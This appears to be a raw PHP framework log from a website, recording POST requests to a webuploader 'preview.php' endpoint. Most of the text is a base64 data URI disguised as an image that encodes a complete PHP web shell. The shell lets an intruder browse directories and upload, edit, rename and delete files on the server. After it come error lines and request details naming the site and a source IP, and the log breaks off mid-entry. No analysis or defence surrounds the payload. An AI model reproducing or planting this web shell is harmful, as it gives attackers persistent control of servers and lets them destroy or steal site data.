'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:28+08:00 ] 116.213.36.234 POST www.51tianwei.com/style/admin/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002600s] [吞吐率:384.59req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'style', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 